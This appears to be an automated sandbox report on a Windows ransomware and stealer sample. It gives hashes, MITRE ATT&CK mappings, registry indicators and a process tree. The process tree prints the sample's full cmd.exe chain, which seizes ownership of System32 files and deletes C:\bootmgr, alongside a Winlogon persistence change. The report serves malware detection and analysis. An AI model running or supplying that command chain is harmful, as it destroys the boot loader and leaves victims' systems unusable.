78f4dd4b0e0bff6009f56a8b97332f600cec39e3c1d0e1cac6c7ee47a4bb9201

General

Target

04df8dd30da8b5853f48cc1ac9b695a8.exe
Size

6.1MB
MD5

04df8dd30da8b5853f48cc1ac9b695a8
SHA1

4c02262c2fea0e99277a99dcbe28a9c370b87c39
SHA256

78f4dd4b0e0bff6009f56a8b97332f600cec39e3c1d0e1cac6c7ee47a4bb9201
SHA512

3ad10c1512e316ff9d02bd5b4573298ae2f6fc8f9d56c66e2c5c4d95fe046e5b14b09e63cea9bca778560ce4b568ebdf70d66a0225b2eaf7e6cd3ba914583b7e
SSDEEP

3072:jnsbblTAByHNgb0nbYlwKsw962CpJid72gqV/6c4LNobbamucc3OD4iEDzyEaE0u:jnsq7hQplBdJ7bP4L8rVE

Score

10^/10

discovery evasion exploit persistence ransomware spyware stealer

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "empty"	04df8dd30da8b5853f48cc1ac9b695a8.exe

Renames multiple (372) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 7 IoCs

exploit

pid	Process
5004	takeown.exe
3208	takeown.exe
3312	icacls.exe
2656	takeown.exe
548	icacls.exe
2520	takeown.exe
3948	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	04df8dd30da8b5853f48cc1ac9b695a8.exe

Modifies file permissions 1 TTPs 7 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2520	takeown.exe
3948	icacls.exe
5004	takeown.exe
3208	takeown.exe
3312	icacls.exe
2656	takeown.exe
548	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	876	04df8dd30da8b5853f48cc1ac9b695a8.exe
Token: SeDebugPrivilege	876	04df8dd30da8b5853f48cc1ac9b695a8.exe
Token: SeTakeOwnershipPrivilege	3208	takeown.exe
Token: SeTakeOwnershipPrivilege	2656	takeown.exe
Token: SeTakeOwnershipPrivilege	2520	takeown.exe
Token: SeTakeOwnershipPrivilege	5004	takeown.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 876 wrote to memory of 1272	876	04df8dd30da8b5853f48cc1ac9b695a8.exe	91
PID 876 wrote to memory of 1272	876	04df8dd30da8b5853f48cc1ac9b695a8.exe	91
PID 1272 wrote to memory of 3208	1272	cmd.exe	93
PID 1272 wrote to memory of 3208	1272	cmd.exe	93
PID 1272 wrote to memory of 3312	1272	cmd.exe	94
PID 1272 wrote to memory of 3312	1272	cmd.exe	94
PID 1272 wrote to memory of 2656	1272	cmd.exe	97
PID 1272 wrote to memory of 2656	1272	cmd.exe	97
PID 1272 wrote to memory of 548	1272	cmd.exe	98
PID 1272 wrote to memory of 548	1272	cmd.exe	98
PID 1272 wrote to memory of 2520	1272	cmd.exe	99
PID 1272 wrote to memory of 2520	1272	cmd.exe	99
PID 1272 wrote to memory of 3948	1272	cmd.exe	100
PID 1272 wrote to memory of 3948	1272	cmd.exe	100
PID 1272 wrote to memory of 5004	1272	cmd.exe	101
PID 1272 wrote to memory of 5004	1272	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\04df8dd30da8b5853f48cc1ac9b695a8.exe
"C:\Users\Admin\AppData\Local\Temp\04df8dd30da8b5853f48cc1ac9b695a8.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3208
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\drivers
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\drivers /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\LogonUI.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2520
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\LogonUI.exe /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3948
- - C:\Windows\system32\takeown.exe
    takeown /f C:\bootmgr
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

File and Directory Permissions Modification

Modify Registry

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000003.log

Filesize
16B

MD5
79bb29efb8fb96f11016ce4754e80b6b

SHA1
9ed8d422a9926e01c03bff38c34beadf2522ca7c

SHA256
5de2e6ca20d8f3b3a7683cce544979246d9eb2f27a94c184d9a50775ebb7ca02

SHA512
d742556f9751c6f73dcc2d80fb5e8643fb1613ea4a67cf923c52c310864b6dde95a3a8e4d02c8309c8778e9cab75d528b52e30988a6eedbadbeb61c0ba76df51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml

Filesize
340KB

MD5
7cfd879613a87418d31354bd52635e54

SHA1
992bf80de1bb9c3e81e6dd960400fee95fecdfa2

SHA256
e3056a7d74e9afab6061646a54138084664915265e4aca3c6b02ee184fd61fe5

SHA512
680902581c6a77808a70467429ed64eb43d4ca9078c4479b01c3c1f03ecf63dd40db903fdc9ed367ecc83e9f627a83184b1e941f6b35976ff0329cbb6c43907d

Download Submit
memory/876-0-0x0000000000BE0000-0x0000000001200000-memory.dmp

Filesize
6.1MB

Download
memory/876-1-0x00007FFBE9770000-0x00007FFBEA231000-memory.dmp

Filesize
10.8MB

Download
memory/876-2-0x000000001BE10000-0x000000001BE20000-memory.dmp

Filesize
64KB

Download
memory/876-134-0x00007FFBE9770000-0x00007FFBEA231000-memory.dmp

Filesize
10.8MB

Download
memory/876-183-0x000000001BE10000-0x000000001BE20000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads